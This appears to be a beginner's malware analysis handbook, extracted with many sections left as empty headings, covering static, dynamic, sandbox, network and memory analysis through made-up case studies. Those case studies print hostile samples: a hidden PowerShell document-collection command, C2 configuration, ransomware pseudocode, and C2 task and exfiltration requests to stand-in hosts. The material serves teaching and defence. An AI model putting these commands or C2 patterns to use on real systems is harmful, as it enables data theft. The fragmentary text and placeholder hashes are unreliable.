Malware Analysis For Beginners by Adarsh Pandey
Malware Analysis For Beginners by Adarsh Pandey
INTRODUCTION
Static analysis involves examining a malware sample without executing it, to understand
its structure, behavior, and intent. Analysts inspect code, strings, headers, and metadata
using tools like IDA Pro, Ghidra, or strings.exe. This technique helps identify hardcoded
IPs, domains, suspicious function calls, and file properties — all without the risk of
triggering the malware.
• Foundation for Deeper Analysis – Sets the stage for dynamic analysis and
behavior profiling.
• File Inspection: Examine headers (PE/ELF), file size, hashes (MD5/SHA256), etc.
• String Analysis: Use tools like strings, BinText, or FlareVM to extract readable text
that may reveal C2 servers, commands, or error messages.
• Disassembly: Analyze code without executing it using tools like Ghidra, IDA Pro, or
Radare2.
• PE Analysis: Use tools like PEview, CFF Explorer, or Detect It Easy (DIE) to check
import tables, sections, and compiled timestamps.
• Obfuscation Checks: Identify packing or encryption methods used to hide
malicious content.
Tools:
• Strings utility
• PE Explorer
• ExeInfo PE
• VirusTotal,
• PEStudio,
• DIE,
• IDA Free,
• Ghidra
• Reveals Actual Behavior – See what the malware really does, not just what it’s
coded to do.
• Detects Evasion – Many malware variants act differently when executed (e.g.,
delaying execution, detecting sandboxes).
• Extracts IOCs (Indicators of Compromise) – Get live data like file modifications,
created processes, network traffic, etc.
• Running in a Sandbox: Use tools like Any.Run, Cuckoo Sandbox, or Joe Sandbox
to safely run the malware and record its behavior.
• Process Monitoring: Track process creation, injection, and termination using tools
like Process Monitor (ProcMon) or Process Explorer.
• Registry and File Monitoring: Detect changes to the system using Regshot,
ProcMon, or Filemon.
Tools:
• Cuckoo Sandbox
• ANY.RUN
Code analysis, often called reverse engineering, involves digging deep into the actual
instructions the malware executes — by disassembling or decompiling the binary. This
allows analysts to understand the inner workings, logic, and intentions of the malware.
• Essential for APTs and Advanced Malware – Many sophisticated threats require
reverse engineering to fully understand.
• Disassembly – View the raw assembly instructions (e.g., with IDA Pro, Ghidra, or
Radare2).
• Control Flow Analysis – Trace how the program branches, loops, and calls
functions.
• Debugging – Use tools like x64dbg or OllyDbg to step through code in real time and
observe behavior.
Popular Tools:
• Radare2
What to Look For:
• C2 communication logic
Pro Tip: Code analysis is the most advanced part of malware analysis — focus on building
your assembly and debugging skills gradually.
Reporting and intelligence is the final but crucial stage of malware analysis. It transforms
technical findings into actionable insights for defenders, leadership, and threat intel
teams. A good report helps drive better detection, response, and long-term defense
strategies.
• Cyber threat intelligence teams and public reports (e.g., blogs, ISACs)
Safety Precautions
Pro Tip: Always tailor your report to the audience — execs need a risk summary, defenders
need IOCs, and CTI teams want TTPs and context.
Scenario:
• C:\ProgramData\system32backup\svchost.exe
• HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• Connect: ftp.databackup-secure.net
• User: anonymous
• Pass: [email protected]
• GET /updates/security.dat
• PowerShell Exfiltration: powershell.exe -WindowStyle Hidden -Command "Get-
Content -Path 'C:\Users\*\Documents\*.doc' | Out-File -FilePath
'C:\ProgramData\temp.dat'"
Observations:
System Changes:
• Modifies registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemBackup
Network Activity:
Process Activity:
Disassembly Findings:
"c2": {
"primary": "ftp.databackup-secure.net",
"fallback": "192.168.1.100"
},
"exfil": {
"documents": true,
"screenshots": true,
"keystrokes": true
},
"persistence": {
"registry": true,
"task": true
Step 4: Reporting
Malware Classification:
Intelligence Insights:
o T1059.001 – PowerShell
o T1056.001 – Keylogging
Recommendations:
• Update detection rules for FTP use and unusual PowerShell patterns
• File Hash:
8f7e6d5c4b3a291e8d7c6b5a4c3d2e1f0a9b8c7d6e5f4a3b2c1d0e9f8a7b6c5d4
• Domain: ftp.databackup-secure.net
• IP Address: 192.168.1.100
• Registry Key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemBackup
Mitigation Recommendations:
Initial Analysis
File Properties:
Size: 512 KB
SHA-256: 2a1b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b
Timestamp: 2023-10-27
.rsm
Contact: [email protected]
AES-256-CBC
CreateEncryptionKey
FindFirstFile
CryptEncrypt
Packer Detection:
DYNAMIC ANALYSIS
Behavioral Findings:
Network Activity:
Registry Modifications:
Encryption Mechanism:
function EncryptFile(filePath) {
publicKey = ReadEmbeddedRSAPublicKey();
DeleteFile(filePath);
Anti-Analysis Techniques:
REPORTING
Technical Summary: RansomLock employs a hybrid encryption scheme using AES-256 for
file encryption and RSA for key protection. It destroys recovery mechanisms and
establishes communication through TOR. The malware performs basic system
reconnaissance before encryption and targets multiple file types.
IOCs:
• File Hash:
2a1b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b
• Email: [email protected]
Recovery Options:
Cuckoo Sandbox is an automated malware analysis system that provides detailed reports
on malware behavior.
Basic Workflow:
1. Submit Sample:
3. View Results:
4. cuckoo web
5. Analyze Report:
o Process tree
o File operations
o Registry modifications
o Network activity
"behavior": {
"processes": [
"process_name": "suspicious_file.exe",
"pid": 1234,
"children": [
"process_name": "cmd.exe",
],
"files": [
"path": "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe",
"action": "created"
],
"registry": [
{
"key":
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemService",
"value": "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe",
"action": "set"
],
"network": {
"http": [
"host": "banking-update-server.com",
"uri": "/config.php",
"method": "POST",
"data": "id=VICTIM-PC&os=Windows+10"
],
"dns": [
"request": "banking-update-server.com",
"answers": [
"type": "A",
"data": "45.77.123.45"
]
}
Summary:
1. Process Activity
• Parent Process:
o Name: suspicious_file.exe
o PID: 1234
• Child Process:
o Name: cmd.exe
• File Created:
o Path: C:\Users\Admin\AppData\Roaming\svchost.exe
o Action: created
3. Registry Modification
o Path:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemService
o Value: C:\Users\Admin\AppData\Roaming\svchost.exe
Interpretation: The malware achieves persistence by setting a Run key in the registry. This
ensures execution on every user logon, a common tactic used by commodity malware.
4. Network Activity
• DNS Request:
o Domain: banking-update-server.com
• HTTP Communication:
o Method: POST
o Host: banking-update-server.com
o URI: /config.php
o Payload: id=VICTIM-PC&os=Windows+10
Interpretation:
• The .php endpoint implies possible interaction with a C2 panel or backend for
attacker control.
ANALYST SUMMARY
Malware Classification:
• TTPs Observed:
Recommendations:
When analyzing malware, network traffic analysis provides crucial insights into
communication patterns and data exfiltration.
Basic Workflow:
1. Start Capture:
o Launch Wireshark
2. Execute Malware:
3. Stop Capture:
4. Analyze Traffic:
Suspicious Request:
Host: data-analytics-portal.com
Cookie: session=7365637265745f73657373696f6e5f6964
Host: data-analytics-portal.com
Content-Type: text/plain
Content-Length: 112
{"tasks":[{"id":1,"cmd":"collect_browser","target":"chrome"},{"id":2,"cmd":"screenshot",
"interval":300}]}
DNS Queries:
Exfiltration Request:
Host: data-analytics-portal.com
Content-Length: 45678
------WebKitFormBoundary7MA4YWxkTrZu0gW
DS195
------WebKitFormBoundary7MA4YWxkTrZu0gW
browser_data
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Type: application/zip
[Binary data]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
"DataSpy" is a malicious agent designed to exfiltrate sensitive browser data and user
screenshots. The malware uses HTTP-based Command and Control (C2) communication
and uploads data via multipart form POST requests. Below is a breakdown of its network
behavior captured during dynamic analysis.
Captured Request:
Host: data-analytics-portal.com
Cookie: session=7365637265745f73657373696f6e5f6964
Analysis:
o ver=10.0: OS version
Server Response:
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 112
{"tasks":[{"id":1,"cmd":"collect_browser","target":"chrome"},{"id":2,"cmd":"screenshot",
"interval":300}]}
Decoded Tasks:
DNS Logs:
Query: data-analytics-portal.com
3. Data Exfiltration
Host: data-analytics-portal.com
Payload Analysis:
o id=DS195 – Victim ID
o type=browser_data
Overall Findings
Category Observation
Recommendations
Objective:
1. Memory Acquisition
2. Process Analysis
• Name: suspicious.exe
• PID: 3672
• Parent: explorer.exe
3. DLL Analysis
Loaded DLLs:
4. Network Activity
Indicators found:
Summary (Findings)
• Network: Established C2 connections with external IPs (via ports 443 and 80)
• Persistence:
o Keylogging (GetAsyncKeyState)
Recommendations
o Remove inj3ct.dll and any related binaries from temp or startup locations.
9. Enhance Monitoring
Enable logging for registry changes, unusual process behavior, and outbound traffic
to unknown domains.
ANALYSIS SUMMARY:
CONCLUSION
Malware analysis requires a methodical approach combining static, dynamic, and code
analysis techniques. By following the structured methodology outlined in this handbook,
beginners can develop the skills needed to identify, understand, and mitigate malicious
software threats.
ADDITIONAL RESOURCES
• Books:
o VirusTotal
o Hybrid Analysis
• Communities:
o MalwareTech Forums
o Reddit r/ReverseEngineering